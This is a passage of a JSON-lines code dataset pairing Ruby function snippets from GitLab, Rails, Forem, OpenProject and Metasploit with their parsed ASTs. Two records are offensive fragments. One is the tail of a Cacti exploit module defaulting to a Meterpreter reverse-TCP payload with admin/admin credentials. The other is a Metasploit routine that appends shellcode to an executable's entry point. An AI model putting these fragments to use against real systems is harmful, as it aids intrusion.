Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/windows/http/x64/meterpreter_reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-05-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"User to login with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to login with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base URI of Cacti\"]},{\"type\":\"str\",\"children\":[\"/cacti\"]}]}]}]}]}]}]}","id":"bbb06320-b8e6-432e-abc7-42c9de08357a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/artifact.rb","start_line":21,"raw_source":"def content\n return unless context.parent_pipeline.present?\n\n # We define max archive size to be equal to content size\n # as a good enough approximation to provide a sane limit with a single setting\n max_content_size = Gitlab::CurrentSettings.current_application_settings.max_artifacts_content_include_size\n file_reader = Gitlab::Ci::ArtifactFileReader.new(artifact_job, max_archive_size: max_content_size)\n file_reader.read(location, max_size: max_content_size)\n\n rescue Gitlab::Ci::ArtifactFileReader::Error => error\n errors.push(error.message)\n\n nil\n end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"parent_pipeline\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"max_content_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"max_artifacts_content_include_size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_reader\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"ArtifactFileReader\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"artifact_job\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_archive_size\"]},{\"type\":\"lvar\",\"children\":[\"max_content_size\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_reader\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"location\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_size\"]},{\"type\":\"lvar\",\"children\":[\"max_content_size\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"ArtifactFileReader\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"fe6205ef-a3be-4af7-a6e1-fffe23b2c645"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1506,"raw_source":"def test_marshal_round_trip\n expected = posts(:welcome)\n marshalled = Marshal.dump(expected)\n actual = Marshal.load(marshalled)\n\n assert_equal expected.attributes, actual.attributes\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_marshal_round_trip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"marshalled\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"marshalled\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"attributes\"]}]}]}]}","id":"77f90556-59a9-43e4-a4b4-fa66d20375e7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240529184614_add_agent_activity_events_agent_project_id_fk.rb","start_line":11,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :agent_activity_events, column: :agent_project_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"agent_activity_events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"agent_project_id\"]}]}]}]}]}]}","id":"a42e7147-6ffe-4be8-90d8-4dcb3a3c2165"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/operation_service.rb","start_line":269,"raw_source":"def user_cherry_pick(\n user:, commit:, branch_name:, message:,\n start_branch_name:, start_repository:, author_name: nil, author_email: nil, dry_run: false, target_sha: nil\n )\n request = Gitaly::UserCherryPickRequest.new(\n repository: @gitaly_repo,\n user: gitaly_user(user),\n commit: commit.to_gitaly_commit,\n branch_name: encode_binary(branch_name),\n message: encode_binary(message),\n start_branch_name: encode_binary(start_branch_name.to_s),\n start_repository: start_repository.gitaly_repository,\n commit_author_name: encode_binary(author_name),\n commit_author_email: encode_binary(author_email),\n dry_run: dry_run,\n timestamp: Google::Protobuf::Timestamp.new(seconds: Time.now.utc.to_i),\n expected_old_oid: target_sha\n )\n\n response = gitaly_client_call(\n @repository.storage,\n :operation_service,\n :user_cherry_pick,\n request,\n remote_storage: start_repository.storage,\n timeout: GitalyClient.long_timeout,\n gitaly_context: { 'enable_secrets_check' => true }\n )\n\n Gitlab::Git::OperationService::BranchUpdate.from_gitaly(response.branch_update)\n rescue GRPC::InvalidArgument => ex\n raise Gitlab::Git::CommandError, ex\n rescue GRPC::BadStatus => e\n detailed_error = GitalyClient.decode_detailed_error(e)\n\n case detailed_error.try(:error)\n when :access_check\n access_check_error = detailed_error.access_check\n # These messages were returned from internal/allowed API calls\n raise Gitlab::Git::PreReceiveError.new(fallback_message: access_check_error.error_message)\n when :cherry_pick_conflict\n raise Gitlab::Git::Repository::CreateTreeError, 'CONFLICT'\n when :changes_already_applied\n raise Gitlab::Git::Repository::CreateTreeError, 'EMPTY'\n when :target_branch_diverged\n raise Gitlab::Git::CommitError, 'branch diverged'\n else\n raise e\n end\n end","complexity_score":56.9,"ast_json":"{\"type\":\"def\",\"children\":[\"user_cherry_pick\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"commit\"]},{\"type\":\"kwarg\",\"children\":[\"branch_name\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"start_branch_name\"]},{\"type\":\"kwarg\",\"children\":[\"start_repository\"]},{\"type\":\"kwoptarg\",\"children\":[\"author_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"author_email\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"dry_run\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"target_sha\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"UserCherryPickRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"gitaly_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"to_gitaly_commit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_name\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_branch_name\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_branch_name\"]},\"to_s\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_repository\"]},\"gitaly_repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_author_name\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"author_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_author_email\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"author_email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dry_run\"]},{\"type\":\"lvar\",\"children\":[\"dry_run\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"Timestamp\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"to_i\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_old_oid\"]},{\"type\":\"lvar\",\"children\":[\"target_sha\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"operation_service\"]},{\"type\":\"sym\",\"children\":[\"user_cherry_pick\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_repository\"]},\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"long_timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly_context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"enable_secrets_check\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"OperationService\"]},\"BranchUpdate\"]},\"from_gitaly\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"branch_update\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRPC\"]},\"InvalidArgument\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"CommandError\"]},{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRPC\"]},\"BadStatus\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"detailed_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"decode_detailed_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detailed_error\"]},\"try\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_check\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"access_check_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detailed_error\"]},\"access_check\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"PreReceiveError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_check_error\"]},\"error_message\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"cherry_pick_conflict\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"CreateTreeError\"]},{\"type\":\"str\",\"children\":[\"CONFLICT\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"changes_already_applied\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"CreateTreeError\"]},{\"type\":\"str\",\"children\":[\"EMPTY\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch_diverged\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"CommitError\"]},{\"type\":\"str\",\"children\":[\"branch diverged\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"74af7377-37de-403d-89a8-4c423f9864a4"} {"repo_name":"forem","file_path":"./repos/forem/app/lib/seeder.rb","start_line":17,"raw_source":"def create(message)\n @counter += 1\n puts \" #{@counter}. #{message}.\"\n yield\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@counter\"]}]},{\"type\":\"str\",\"children\":[\". \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"ace4d65f-7491-4808-b490-7ea0fcb76360"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/enterprise_tokens/row_component.rb","start_line":69,"raw_source":"def max_active_users\n count =\n if token.unlimited_users?\n I18n.t(\"ee.upsell.unlimited\")\n else\n token.max_active_users.to_s\n end\n primer_text(count, color: :subtle)\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_active_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"unlimited_users?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"ee.upsell.unlimited\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"max_active_users\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"primer_text\",{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"sym\",\"children\":[\"subtle\"]}]}]}]}]}]}","id":"60decaea-a26f-41b1-87c8-b099134f48df"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/new_base/content_negotiation_test.rb","start_line":12,"raw_source":"def all\n render plain: formats.inspect\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formats\"]},\"inspect\"]}]}]}]}]}","id":"bdb8fbd3-40a2-4e29-8e92-888828184953"} {"repo_name":"forem","file_path":"./repos/forem/app/services/ai/forem_tags.rb","start_line":221,"raw_source":"def get_locale_instruction\n case @locale\n when 'pt'\n \"LANGUAGE REQUIREMENT: Generate ALL content in Brazilian Portuguese. Use proper Portuguese grammar, vocabulary, and cultural context. Avoid special characters in tags and technical terms - use ASCII characters only for tags and URLs.\"\n when 'fr'\n \"LANGUAGE REQUIREMENT: Generate ALL content in French. Use proper French grammar, vocabulary, and cultural context. Avoid special characters in tags and technical terms - use ASCII characters only for tags and URLs.\"\n else\n \"LANGUAGE REQUIREMENT: Generate ALL content in English. Use proper English grammar, vocabulary, and cultural context. Avoid special characters in tags and technical terms - use ASCII characters only for tags and URLs.\"\n end\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_locale_instruction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@locale\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"pt\"]},{\"type\":\"str\",\"children\":[\"LANGUAGE REQUIREMENT: Generate ALL content in Brazilian Portuguese. Use proper Portuguese grammar, vocabulary, and cultural context. Avoid special characters in tags and technical terms - use ASCII characters only for tags and URLs.\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"fr\"]},{\"type\":\"str\",\"children\":[\"LANGUAGE REQUIREMENT: Generate ALL content in French. Use proper French grammar, vocabulary, and cultural context. Avoid special characters in tags and technical terms - use ASCII characters only for tags and URLs.\"]}]},{\"type\":\"str\",\"children\":[\"LANGUAGE REQUIREMENT: Generate ALL content in English. Use proper English grammar, vocabulary, and cultural context. Avoid special characters in tags and technical terms - use ASCII characters only for tags and URLs.\"]}]}]}","id":"1b753066-8c9c-4911-802e-c34924cfd8e5"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/baseline_modal.rb","start_line":76,"raw_source":"def set_time(value, selector = \"op-baseline-time\")\n page.execute_script <<~JS\n const el = document.getElementsByName('#{selector}')[0];\n el.value = '#{value}';\n el.dispatchEvent(new Event('change'));\n JS\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"selector\",{\"type\":\"str\",\"children\":[\"op-baseline-time\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"execute_script\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"const el = document.getElementsByName('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selector\"]}]},{\"type\":\"str\",\"children\":[\"')[0];\\n\"]},{\"type\":\"str\",\"children\":[\"el.value = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"';\\n\"]},{\"type\":\"str\",\"children\":[\"el.dispatchEvent(new Event('change'));\\n\"]}]}]}]}","id":"d7d9b8b9-d712-487b-8ed2-ad09245abf77"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1869,"raw_source":"def accept_pending_invitations!\n pending_invitations.select do |member|\n member.accept_invite!(self)\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"accept_pending_invitations!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_invitations\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"accept_invite!\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"b459dc6f-48f8-4d9e-8fbf-1f527578a51b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exe/segment_appender.rb","start_line":9,"raw_source":"def payload_stub(prefix)\n # TODO: Implement possibly helpful payload obfuscation\n asm = \"new_entrypoint:\\n#{prefix}\\n\"\n shellcode = Metasm::Shellcode.assemble(processor, asm)\n shellcode.encoded + @payload\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_stub\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"new_entrypoint:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"shellcode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[null,\"processor\"]},{\"type\":\"lvar\",\"children\":[\"asm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]},\"encoded\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@payload\"]}]}]}]}","id":"444e1052-9491-48ce-a071-eadbabb42ab7"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/secure_password.rb","start_line":41,"raw_source":"def authenticate_by(attributes)\n passwords, identifiers = attributes.to_h.partition do |name, value|\n !has_attribute?(name) && has_attribute?(\"#{name}_digest\")\n end.map(&:to_h)\n\n raise ArgumentError, \"One or more password arguments are required\" if passwords.empty?\n raise ArgumentError, \"One or more finder arguments are required\" if identifiers.empty?\n\n return if passwords.any? { |name, value| value.nil? || value.empty? }\n\n if record = find_by(identifiers)\n record if passwords.count { |name, value| record.public_send(:\"authenticate_#{name}\", value) } == passwords.size\n else\n new(passwords)\n nil\n end\n end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"passwords\"]},{\"type\":\"lvasgn\",\"children\":[\"identifiers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"to_h\"]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_attribute?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"has_attribute?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"_digest\"]}]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_h\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwords\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"One or more password arguments are 